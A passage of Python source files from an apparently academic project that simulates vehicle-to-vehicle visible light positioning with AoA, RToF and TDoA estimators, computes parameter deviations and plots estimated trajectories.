s_e, s_r, s_h, s_gate = self.gen_signals(self.f, self.r, self.N, self.t, delays, noise_variance[0])
s_r[0] *= H[0][0]
s_r[1] *= H[0][1]
length_time = np.size(self.t)
fclk = 1 / (2 * self.dt)
counts1, counts2 = self.rtof_estimate_dist(s_e, s_r, s_h, s_gate, self.f, self.r, self.N, self.dt, self.t,
length_time)
size_tmp = np.size(counts1)
dm = np.zeros((2, size_tmp));
dm[0] = ((self.c / 2) * (np.asarray(counts2) / ((self.r + 1) * self.N * fclk)))
dm[1] = ((self.c / 2) * (np.asarray(counts1) / ((self.r + 1) * self.N * fclk)))
d11, d12 = self.dist_to_pos(dm, delays)
delay1 = all_delays[1][0] * 2
delay2 = all_delays[1][1] * 2
delays = [delay1, delay2]
s_e, s_r, s_h, s_gate = self.gen_signals(self.f, self.r, self.N, self.t, delays, noise_variance[1])
# channel attenuation
s_r[0] *= H[1][0]
s_r[1] *= H[1][1]
counts1, counts2 = self.rtof_estimate_dist(s_e, s_r, s_h, s_gate, self.f, self.r, self.N, self.dt, self.t,
length_time)
size_tmp = np.size(counts1) # could equivalently be counts2
dm = np.zeros((2, size_tmp));
dm[0] = ((self.c / 2) * (np.asarray(counts2) / ((self.r + 1) * self.N * fclk)))
dm[1] = ((self.c / 2) * (np.asarray(counts1) / ((self.r + 1) * self.N * fclk)))
d21, d22 = self.dist_to_pos(dm, delays)
dist = np.array([[d11, d12], [d21, d22]]) # to obtain separate axes
return dist
directory_path = os.path.dirname(os.path.dirname(os.path.join(os.getcwd(), os.listdir(os.getcwd())[0]))) ## directory of directory of file
data = load_mat(directory_path + '/VLP_methods/aoa_transfer_function.mat')
breaks = np.array(data['transfer_function']['breaks'])
coefficients = np.array(data['transfer_function']['coefs'])
class AoA:
"""
Exact replica of the VLP_methods/aoa.py with last parts deleted, instead of calculating the position, it stops
when angles of arrival are calculated. See VLP_methods/aoa.py for more explanation
"""
def __init__(self, a_m=2, f_m1=1000000, f_m2=2000000, measure_dt=5e-6, vehicle_dt=1e-2, w0=500, hbuf=1000,
car_dist=1.6, fov=80):
self.dt = measure_dt
self.t = np.arange(0, vehicle_dt - self.dt, self.dt)
self.w1 = 2 * math.pi * f_m1
self.w2 = 2 * math.pi * f_m2
self.a_m = a_m
self.w0 = w0
self.hbuf = hbuf
self.car_dist = car_dist
self.e_angle = fov
def estimate(self, delays, H_q, noise_variance):
s1_w1 = self.a_m * np.cos(self.w1 * self.t)
s2_w2 = self.a_m * np.cos(self.w2 * self.t)
# after going through ADC at receiver
r1_w1_a = H_q[0][0][0] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
noise_variance[0][0][0]), len(self.t))
r1_w1_b = H_q[0][0][1] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
noise_variance[0][0][1]), len(self.t))
r1_w1_c = H_q[0][0][2] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
noise_variance[0][0][2]), len(self.t))
r1_w1_d = H_q[0][0][3] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
noise_variance[0][0][3]), len(self.t))
r2_w1_a = H_q[0][1][0] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
noise_variance[0][1][0]), len(self.t))
r2_w1_b = H_q[0][1][1] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
noise_variance[0][1][1]), len(self.t))
r2_w1_c = H_q[0][1][2] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
noise_variance[0][1][2]), len(self.t))
r2_w1_d = H_q[0][1][3] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
noise_variance[0][1][3]), len(self.t))
r1_w2_a = H_q[1][0][0] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
noise_variance[1][0][0]), len(self.t))
r1_w2_b = H_q[1][0][1] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
noise_variance[1][0][1]), len(self.t))
r1_w2_c = H_q[1][0][2] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
noise_variance[1][0][2]), len(self.t))
r1_w2_d = H_q[1][0][3] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
noise_variance[1][0][3]), len(self.t))
r2_w2_a = H_q[1][1][0] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
noise_variance[1][1][0]), len(self.t))
r2_w2_b = H_q[1][1][1] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
noise_variance[1][1][1]), len(self.t))
r2_w2_c = H_q[1][1][2] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
noise_variance[1][1][2]), len(self.t))
r2_w2_d = H_q[1][1][3] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
noise_variance[1][1][3]), len(self.t))
eps_a_s1, eps_b_s1, eps_c_s1, eps_d_s1, phi_h_s1 = np.array([0., 0.]), np.array(
[0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.])
eps_a_s2, eps_b_s2, eps_c_s2, eps_d_s2, phi_h_s2 = np.array([0., 0.]), np.array(
[0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.])
theta_l_r = np.array([[0., 0.], [0., 0.]]).astype(float)
eps_a_s1[0] = np.sum(
np.dot(r1_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_b_s1[0] = np.sum(
np.dot(r1_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_c_s1[0] = np.sum(
np.dot(r1_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_d_s1[0] = np.sum(
np.dot(r1_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_a_s1[1] = np.sum(
np.dot(r2_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_b_s1[1] = np.sum(
np.dot(r2_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_c_s1[1] = np.sum(
np.dot(r2_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_d_s1[1] = np.sum(
np.dot(r2_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_a_s2[0] = np.sum(
np.dot(r1_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_b_s2[0] = np.sum(
np.dot(r1_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_c_s2[0] = np.sum(
np.dot(r1_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_d_s2[0] = np.sum(
np.dot(r1_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_a_s2[1] = np.sum(
np.dot(r2_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_b_s2[1] = np.sum(
np.dot(r2_w2_b[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_c_s2[1] = np.sum(
np.dot(r2_w2_c[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
eps_d_s2[1] = np.sum(
np.dot(r2_w2_d[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
phi_h_s1[0] = ((eps_b_s1[0] + eps_d_s1[0]) - (eps_a_s1[0] + eps_c_s1[0])) / (
eps_a_s1[0] + eps_b_s1[0] + eps_c_s1[0] + eps_d_s1[0])
phi_h_s1[1] = ((eps_b_s1[1] + eps_d_s1[1]) - (eps_a_s1[1] + eps_c_s1[1])) / (
eps_a_s1[1] + eps_b_s1[1] + eps_c_s1[1] + eps_d_s1[1])
phi_h_s2[0] = ((eps_b_s2[0] + eps_d_s2[0]) - (eps_a_s2[0] + eps_c_s2[0])) / (
eps_a_s2[0] + eps_b_s2[0] + eps_c_s2[0] + eps_d_s2[0])
phi_h_s2[1] = ((eps_b_s2[1] + eps_d_s2[1]) - (eps_a_s2[1] + eps_c_s2[1])) / (
eps_a_s2[1] + eps_b_s2[1] + eps_c_s2[1] + eps_d_s2[1])
theta_l_r[0][0] = self.transfer_function(phi_h_s1[0]) * np.pi / 180
theta_l_r[0][1] = self.transfer_function(phi_h_s1[1]) * np.pi / 180
theta_l_r[1][0] = self.transfer_function(phi_h_s2[0]) * np.pi / 180
theta_l_r[1][1] = self.transfer_function(phi_h_s2[1]) * np.pi / 180
return theta_l_r
def find_nearest(self, array, value):
array = np.asarray(array)
idx = (np.abs(array - value)).argmin()
return idx, array[idx]
def transfer(self, coefficient, x, x1):
return (coefficient[0] * (x - x1) ** 3) + (coefficient[1] * (x - x1) ** 2) + (coefficient[2] * (x - x1) ** 1) + \
coefficient[3]
def transfer_function(self, phi):
phi = 1.0000653324773283 if phi >= 1.0000653324773283 else phi
phi = -1.0000980562352184 if phi <= -1.0000980562352184 else phi
idx, lower_endpoint = self.find_nearest(breaks, phi)
coefficient = coefficients[idx]
return self.transfer(coefficient, phi, lower_endpoint)
def change_cords(self, txpos):
t_tx_pos = np.copy(txpos)
t_tx_pos[0][0] = -txpos[0][1]
t_tx_pos[1][0] = txpos[0][0]
t_tx_pos[0][1] = -txpos[1][1]
t_tx_pos[1][1] = txpos[1][0]
return t_tx_pos
def main():
#initialize the folders info will be read from
data_names = gen_sim_data.names.data_names
folder_names = gen_sim_data.names.folder_names
#compute for how many iterations the calculations will be repeated
size = gen_sim_data.params.end_point_of_iter - gen_sim_data.params.start_point_of_iter
#initialize outputs with zero
theta_l_r = np.zeros((size, 100, 2, 2)) # (num_iter, num_points_in_sim, [[aoa11, aoa12],[aoa21, aoa22]])
rtof_dist = np.zeros((size, 100, 2, 2)) # (num_iter, num_points_in_sim, [[d11, d12],[d21, d22]])
tdoa_dist = np.zeros((size, 100, 2)) # (num_iter, num_points_in_sim, [dA, dB])
# run for multiple iterations
for itr in range(gen_sim_data.params.start_point_of_iter, gen_sim_data.params.end_point_of_iter):
print(itr)
for idx in range(2, 3): # currently doing only for simulation 3 (parallel scenario)
#load simulation data
data_name = data_names[idx]
data_dir = directory_path + '/SimulationData/' + data_name + '.mat'
data = load_mat(data_dir)
folder_name = folder_names[idx]
dp = gen_sim_data.params.number_of_skip_data
data_point = str(int(1000 / dp)) + '_point_' + '/'
max_power = data['tx']['power']
c = gen_sim_data.params.c
rx_fov = gen_sim_data.params.rx_fov
signal_freq = gen_sim_data.params.signal_freq
measure_dt = gen_sim_data.params.measure_dt
time_ = data['vehicle']['t']['values']
time_ = time_[::dp]
vehicle_dt = data['vehicle']['t']['dt']
L_tgt = data['vehicle']['target']['width']
# relative target positions, changed to adapt to coordinate of parameter calc methods
tgt_tx1_x = -1 * data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp]
tgt_tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp]
tgt_tx2_x = -1 * data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp]
tgt_tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp]
# delay parameters
delay_11 = data['channel']['qrx1']['delay']['tx1'][::dp]
delay_12 = data['channel']['qrx1']['delay']['tx2'][::dp]
delay_21 = data['channel']['qrx2']['delay']['tx1'][::dp]
delay_22 = data['channel']['qrx2']['delay']['tx2'][::dp]
# received power of QRXes
pow_qrx1_tx1 = np.array(
[data['channel']['qrx1']['power']['tx1']['A'][::dp], data['channel']['qrx1']['power']['tx1']['B'][::dp],
data['channel']['qrx1']['power']['tx1']['C'][::dp],
data['channel']['qrx1']['power']['tx1']['D'][::dp]])
pow_qrx1_tx2 = np.array(
[data['channel']['qrx1']['power']['tx2']['A'][::dp], data['channel']['qrx1']['power']['tx2']['B'][::dp],
data['channel']['qrx1']['power']['tx2']['C'][::dp],
data['channel']['qrx1']['power']['tx2']['D'][::dp]])
pow_qrx2_tx1 = np.array(
[data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp],
data['channel']['qrx2']['power']['tx1']['C'][::dp],
data['channel']['qrx2']['power']['tx1']['D'][::dp]])
pow_qrx2_tx2 = np.array(
[data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp],
data['channel']['qrx2']['power']['tx1']['C'][::dp],
data['channel']['qrx2']['power']['tx1']['D'][::dp]])
# noise params
T = gen_sim_data.params.T
I_bg = gen_sim_data.params.I_bg
p_r_factor = data['qrx']['tia']['shot_P_r_factor']
i_bg_factor = data['qrx']['tia']['shot_I_bg_factor']
t_factor1 = data['qrx']['tia']['thermal_factor1']
t_factor2 = data['qrx']['tia']['thermal_factor1']
x, y, x_pose, y_pose, x_roberts, y_roberts, x_becha, y_becha = np.zeros((len(tgt_tx1_x), 2)), np.zeros(
(len(tgt_tx1_x),
2)), \
np.zeros((len(tgt_tx1_x), 2)), np.zeros(
(len(tgt_tx1_x),
2)), \
np.zeros((len(tgt_tx1_x), 2)), np.zeros(
(len(tgt_tx1_x),
2)), \
np.zeros((len(tgt_tx1_x), 2)), np.zeros(
(len(tgt_tx1_x),
2))
aoa = AoA(a_m=max_power, f_m1=signal_freq, f_m2=2 * signal_freq, measure_dt=measure_dt,
vehicle_dt=vehicle_dt * dp,
w0=gen_sim_data.params.w0, hbuf=int(vehicle_dt / measure_dt), car_dist=L_tgt, fov=rx_fov)
rtof = RToF(a_m=max_power, f_m=signal_freq, measure_dt=gen_sim_data.params.rtof_measure_dt,
vehicle_dt=vehicle_dt * dp, car_dist=L_tgt,
r=gen_sim_data.params.r, N=gen_sim_data.params.N, c=c)
tdoa = TDoA(a_m=max_power, f_m1=signal_freq, f_m2=signal_freq, measure_dt=measure_dt,
vehicle_dt=vehicle_dt * dp,
car_dist=L_tgt)
for i in range(len(tgt_tx1_x)):
# updating the given coordinates
print("Iteration #", i, ": ")
x[i] = (tgt_tx1_x[i], tgt_tx2_x[i])
y[i] = (tgt_tx1_y[i], tgt_tx2_y[i])
# providing the environment to methods
delays = np.array([[delay_11[i], delay_21[i]], [delay_12[i], delay_22[i]]])
H_q = np.array([[pow_qrx1_tx1[:, i], pow_qrx2_tx1[:, i]], [pow_qrx1_tx2[:, i], pow_qrx2_tx2[:, i]]])
H = np.array([[np.sum(pow_qrx1_tx1[:, i]), np.sum(pow_qrx2_tx1[:, i])],
[np.sum(pow_qrx1_tx2[:, i]), np.sum(pow_qrx2_tx2[:, i])]])
p_r1, p_r2, p_r3, p_r4 = H[0][0], H[0][1], H[1][0], H[1][1]
remaining_factor = I_bg * i_bg_factor + T * (t_factor1 + t_factor2)
noise_var1 = p_r1 * p_r_factor + remaining_factor
noise_var2 = p_r2 * p_r_factor + remaining_factor
noise_var3 = p_r3 * p_r_factor + remaining_factor
noise_var4 = p_r4 * p_r_factor + remaining_factor
noise_variance = np.array([[noise_var1, noise_var2], [noise_var3, noise_var4]])
# noise_variance = np.array([[0.0, 0.0], [0.0, 0.0]])
rem_fact_soner = I_bg * i_bg_factor + T * (t_factor1 + t_factor2 / 16)
noise_var1_soner = np.array(
[H_q[0][0][0] * p_r_factor + rem_fact_soner, H_q[0][0][1] * p_r_factor + rem_fact_soner,
H_q[0][0][2] * p_r_factor + rem_fact_soner, H_q[0][0][3] * p_r_factor + rem_fact_soner])
noise_var2_soner = np.array(
[H_q[0][1][0] * p_r_factor + rem_fact_soner, H_q[0][1][1] * p_r_factor + rem_fact_soner,
H_q[0][1][2] * p_r_factor + rem_fact_soner, H_q[0][1][3] * p_r_factor + rem_fact_soner])
noise_var3_soner = np.array(
[H_q[1][0][0] * p_r_factor + rem_fact_soner, H_q[1][0][1] * p_r_factor + rem_fact_soner,
H_q[1][0][2] * p_r_factor + rem_fact_soner, H_q[1][0][3] * p_r_factor + rem_fact_soner])
noise_var4_soner = np.array(
[H_q[1][1][0] * p_r_factor + rem_fact_soner, H_q[1][1][1] * p_r_factor + rem_fact_soner,
H_q[1][1][2] * p_r_factor + rem_fact_soner, H_q[1][1][3] * p_r_factor + rem_fact_soner])
noise_variance_soner = np.array(
[[noise_var1_soner, noise_var2_soner], [noise_var3_soner, noise_var4_soner]])
# making estimations for theta and distances
theta_l_r[itr, i] = aoa.estimate(delays=delays, H_q=H_q, noise_variance=noise_variance_soner)
print("AoA finished")
rtof_dist[itr, i] = rtof.estimate(all_delays=delays, H=H, noise_variance=noise_variance)
print("RToF finished")
tdoa_dist[itr, i] = tdoa.estimate(delays=delays, H=H, noise_variance=noise_variance)
print("TDoA finished")
#store elts in pickle files as multi dims arrays
pickle_dir = directory_path + '/Bound_Estimation/Parameter_Deviation/'
with open(pickle_dir + 'theta.pkl', 'wb') as f:
pickle.dump(theta_l_r, f)
with open(pickle_dir + 'rtof_dist.pkl', 'wb') as f:
pickle.dump(rtof_dist, f)
with open(pickle_dir + 'tdoa_dist.pkl', 'wb') as f:
pickle.dump(tdoa_dist, f)
if __name__ == '__main__':
main()
| {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,982 | fsahbaz/elec491 | refs/heads/main | /plot_simulation_data.py | ### BS: my virtualenv doesn't have tkinter, so a basic check.
### from: https://stackoverflow.com/questions/1871549/determine-if-python-is-running-inside-virtualenv
import sys
def get_base_prefix_compat():
"""Get base/real prefix, or sys.prefix if there is none."""
return getattr(sys, "base_prefix", None) or getattr(sys, "real_prefix", None) or sys.prefix
def in_virtualenv():
return get_base_prefix_compat() != sys.prefix
import numpy as np
import matplotlib
from config import sim_data
### BS: my virtualenv doesn't have tkinter, so a basic check.
if not in_virtualenv:
matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
import matplotlib.patches as mpatches
from matplotlib.offsetbox import OffsetImage, AnnotationBbox
from scipy import ndimage
from config import plot_sim_data
sm = plot_sim_data.names.sm
folder_name = plot_sim_data.names.folder_name
dir = plot_sim_data.names.dir
for i in range(len(sm)):
# determining file name, depending on the simulation number
if sm[i] == 3:
input_name = plot_sim_data.names.data_names[2]
fl_name = plot_sim_data.names.folder_names[2]
elif sm[i] == 2:
input_name = plot_sim_data.names.data_names[1]
fl_name = plot_sim_data.names.folder_names[1]
elif sm[i] == 1:
input_name = plot_sim_data.names.data_names[0]
fl_name = plot_sim_data.names.folder_names[0]
fig, (ax1, ax2, ax3) = plt.subplots(3, 1, figsize=(20, 20))
# loading simulation data
x_pose = np.loadtxt(folder_name+fl_name+'x_pose.txt', delimiter=',')
y_pose = np.loadtxt(folder_name+fl_name+'y_pose.txt', delimiter=',')
x_becha = np.loadtxt(folder_name+fl_name+'x_becha.txt', delimiter=',')
y_becha = np.loadtxt(folder_name+fl_name+'y_becha.txt',delimiter=',')
x_roberts = np.loadtxt(folder_name+fl_name+'x_roberts.txt', delimiter=',')
y_roberts = np.loadtxt(folder_name+fl_name+'y_roberts.txt',delimiter=',')
time_ = np.loadtxt(dir + fl_name+ 'time.txt', delimiter=',')
rel_hdg = np.loadtxt(dir + fl_name+ 'rel_hdg.txt', delimiter=',')
x = np.loadtxt(dir+fl_name+'x.txt', delimiter=',')
y = np.loadtxt(dir+fl_name+'y.txt', delimiter=',')
img_tgt_s = ndimage.rotate(plt.imread(sim_data.params.img_tgt_s_dir), rel_hdg[0])
img_tgt_f = ndimage.rotate(plt.imread(sim_data.params.img_tgt_f_dir), rel_hdg[-1])
if fl_name == '/3/':
ax1.add_artist(
AnnotationBbox(OffsetImage(plt.imread(sim_data.params.img_ego_s_dir), zoom=0.25), (0.2, -0.12),
frameon=False))
ax1.add_artist(AnnotationBbox(OffsetImage(plt.imread(sim_data.params.img_tgt_s_dir), zoom=0.08),
(x[0][0] - 0.27, y[0][0] + 0.2), frameon=False))
ax1.add_artist(AnnotationBbox(OffsetImage(plt.imread(sim_data.params.img_tgt_f_dir), zoom=0.08),
(x[-1][0] - 0.27, y[-1][0] + 0.2), frameon=False))
else:
ax1.add_artist(
AnnotationBbox(OffsetImage(plt.imread(sim_data.params.img_ego_s_dir ), zoom=0.25), (0, 0),
frameon=False))
ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_s, zoom=0.08), (x[0][0], y[0][0]), frameon=False))
ax1.add_artist(AnnotationBbox(OffsetImage(img_tgt_f, zoom=0.08), (x[-1][0], y[-1][0]), frameon=False))
if fl_name == '/2/':
ax1.plot(x[:, 0], y[:, 0], 'o', color='green', markersize=10)
ax1.title.set_text('Fig.1: Relative Target Vehicle Trajectory')
ax1.plot(x[:, 0], y[:, 0], '-', color='red', markersize=5)
else:
ax1.plot(x[:, 0], y[:, 0], 'o', color='green', markersize=10)
ax1.title.set_text('Fig.1: Relative Target Vehicle Trajectory')
ax1.plot(x[:, 0], y[:, 0], '-', color='red', markersize=5)
mid = 4
arrow_x = x[mid, 0]
arrow_y = y[mid, 0]
if fl_name == '/3/':
ax1.arrow(arrow_x, arrow_y, -0.5, 0, width=0.05)
if fl_name == '/3/':
ax1.set_xlim(-8, 1)
ax1.set_ylim(-1, 4)
elif fl_name == '/2/':
ax1.set_xlim(-10, 1)
ax1.set_ylim(-5, 9)
elif fl_name == '/1/':
ax1.set_xlim(-9, 1)
ax1.set_ylim(-5, 3)
ax1.grid()
green_patch = mpatches.Patch(color='green', label='Target Vehicle')
red_patch = mpatches.Patch(color='red', label='Ego Vehicle')
ax1.legend(handles=[green_patch, red_patch])
ax1.set_xlabel('Ego Frame x [m]')
ax1.set_ylabel('Ego Frame y [m]')
ax2.plot(time_, x[:, 0], 'o', color='green')
ax2.plot(time_, x_pose[:, 0], '-', color='blue')
xr_mask = np.isfinite(x_roberts[:,0])
ax2.plot(time_[xr_mask], x_roberts[:, 0][xr_mask], '-', color='purple')
ax2.plot(time_, x_becha[:, 0], '-', color='orange')
ax2.set_xlabel('Time [s]')
ax2.set_ylabel('[m]')
if fl_name == '/3/':
ax2.set_ylim(x[0,0]-0.5,x[-1,0]+0.5)
ax2.set_xlim(0, 10)
elif fl_name == '/1/':
ax2.set_xlim(0,1)
ax2.set_ylim(-7, -2)
elif fl_name == '/2/':
ax2.set_xlim(0,1)
ax2.set_ylim(-9, -2)
ax2.grid()
green_patch = mpatches.Patch(color='green', label='Actual coordinates')
blue_patch = mpatches.Patch(color='blue', label='AoA-estimated coordinates')
orange_patch = mpatches.Patch(color='orange', label='RToF-estimated coordinates')
purple_patch = mpatches.Patch(color='purple', label='TDoA-estimated coordinates')
ax2.legend(handles=[green_patch, blue_patch, orange_patch, purple_patch])
ax2.title.set_text('Fig 2: x Estimation Results')
ax3.title.set_text('Fig 3: y Estimation Results')
ax3.plot(time_, y[:, 0], 'o', color='green')
ax3.plot(time_, y_pose[:, 0], '-', color='blue')
yr_mask = np.isfinite(y_roberts[:,0])
ax3.plot(time_[yr_mask], y_roberts[:, 0][yr_mask], '-', color='purple')
ax3.plot(time_, y_becha[:, 0], '-', color='orange')
ax3.set_xlabel('Time [s]')
ax3.set_ylabel('[m]')
if fl_name == '/3/':
ax3.set_ylim(y[0,0]-1,y[-1,0]+1)
ax3.set_xlim(0, 10)
elif fl_name == '/1/':
ax3.set_xlim(0, 1)
ax3.set_ylim(-4,4)
elif fl_name == '/2/':
ax3.set_xlim(0, 1)
#ax3.set_ylim(-4, 4)
ax3.grid()
green_patch = mpatches.Patch(color='green', label='Actual coordinates')
blue_patch = mpatches.Patch(color='blue', label='AoA-estimated coordinates')
orange_patch = mpatches.Patch(color='orange', label='RToF-estimated coordinates')
purple_patch = mpatches.Patch(color='purple', label='TDoA-estimated coordinates')
ax3.legend(handles=[green_patch, blue_patch, orange_patch, purple_patch])
def mkdir_p(mypath):
'''Creates a directory. equivalent to using mkdir -p on the command line'''
from errno import EEXIST
from os import makedirs, path
try:
makedirs(mypath)
except OSError as exc: # Python >2.5
if exc.errno == EEXIST and path.isdir(mypath):
pass
else:
raise
output_dir = "Figure/"
mkdir_p(output_dir)
name = '{}/' + str(i) + input_name + '.png'
plt.savefig(name.format(output_dir)) | {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,983 | fsahbaz/elec491 | refs/heads/main | /Bound_Estimation/parameter_deviation_data_extractor.py | import os
import pickle
import numpy as np
def deviation_from_actual_value(array):
"""
Calculates standard deviation for the parameters
:param array: either (num_iters, num_points_in_sim, [n] params) or (num_iters, num_points_in_sim, [n*m] params)
:return:
"""
if array.ndim == 3:
deviations = np.zeros((array.shape[1],array.shape[2]))
for pt in range(array.shape[1]):
for param in range(array.shape[2]):
dev = np.std(array[:,pt,param])
deviations[pt,param] = dev
return deviations
elif array.ndim == 4:
deviations = np.zeros((array.shape[1], array.shape[2], array.shape[3]))
for pt in range(array.shape[1]):
for param_ind1 in range(array.shape[2]):
for param_ind2 in range(array.shape[3]):
dev = np.std(array[:, pt, param_ind1, param_ind2])
deviations[pt, param_ind1, param_ind2] = dev
return deviations
else:
raise ValueError("Wrong num of dimensions")
def main():
#retrieving pickle data calculated from parameter_deviation_calculator.py
directory_path = os.path.dirname(
os.path.dirname(os.path.join(os.getcwd(), os.listdir(os.getcwd())[0]))) ## directory of directory of file
pickle_dir = directory_path + '/Bound_Estimation/Parameter_Deviation/'
with open(pickle_dir + 'theta.pkl', 'rb') as f:
theta_l_r = pickle.load(f)
with open(pickle_dir + 'rtof_dist.pkl', 'rb') as f:
rtof_dist = pickle.load(f)
with open(pickle_dir + 'tdoa_dist.pkl', 'rb') as f:
tdoa_dist = pickle.load(f)
#calculating deviation for theta, rtof_dist.pkl, tdoa_dist
deviation_theta = deviation_from_actual_value(theta_l_r)
deviation_rtof_dist = deviation_from_actual_value(rtof_dist)
deviation_tdoa_dist = deviation_from_actual_value(tdoa_dist)
#saving calculated deviation parameters.
with open(pickle_dir + 'deviation_theta.pkl', 'wb') as f:
pickle.dump(deviation_theta, f)
with open(pickle_dir + 'deviation_rtof_dist.pkl', 'wb') as f:
pickle.dump(deviation_rtof_dist, f)
with open(pickle_dir + 'deviation_tdoa_dist.pkl', 'wb') as f:
pickle.dump(deviation_tdoa_dist, f)
if __name__ == '__main__':
main()
| {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,984 | fsahbaz/elec491 | refs/heads/main | /Bound_Estimation/config_est.py | from yacs.config import CfgNode as CN
from matfile_read import load_mat
bound_est_data = CN()
# theoretical analysis parameters
bound_est_data.params = CN()
# points skipped while reading data
bound_est_data.params.number_of_skip_data = 10
# noise params
bound_est_data.params.T = 298 # Kelvin
bound_est_data.params.I_bg = 750e-6 # 750 uA
# angle params
bound_est_data.params.rx_fov = 50 # angle
bound_est_data.params.tx_half_angle = 60 # angle
# signal params
bound_est_data.params.signal_freq = 1e6 # 1 MHz signal frequency
bound_est_data.params.measure_dt = 1 / 2.5e6 # 2.5 MHz measure frequency
# plotting parameters
bound_est_data.plot = CN()
# source directory
bound_est_data.plot.directory = '../GUI_data/100_point_' | {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,985 | fsahbaz/elec491 | refs/heads/main | /generate_simulation_data.py | from VLP_methods.aoa import *
from VLP_methods.rtof import *
from VLP_methods.tdoa import *
from Bound_Estimation.matfile_read import *
import numpy as np
import matplotlib
matplotlib.use('TkAgg')
from scipy.io import loadmat
import math
import os
from config import gen_sim_data
def main():
# obtain real-life simulation scenario data from specified folders
data_names = gen_sim_data.names.data_names
folder_names = gen_sim_data.names.folder_names
# run for multiple iterations
for itr in range(gen_sim_data.params.start_point_of_iter, gen_sim_data.params.end_point_of_iter):
print(itr)
for i in range(len(data_names)):
data_name = data_names[i]
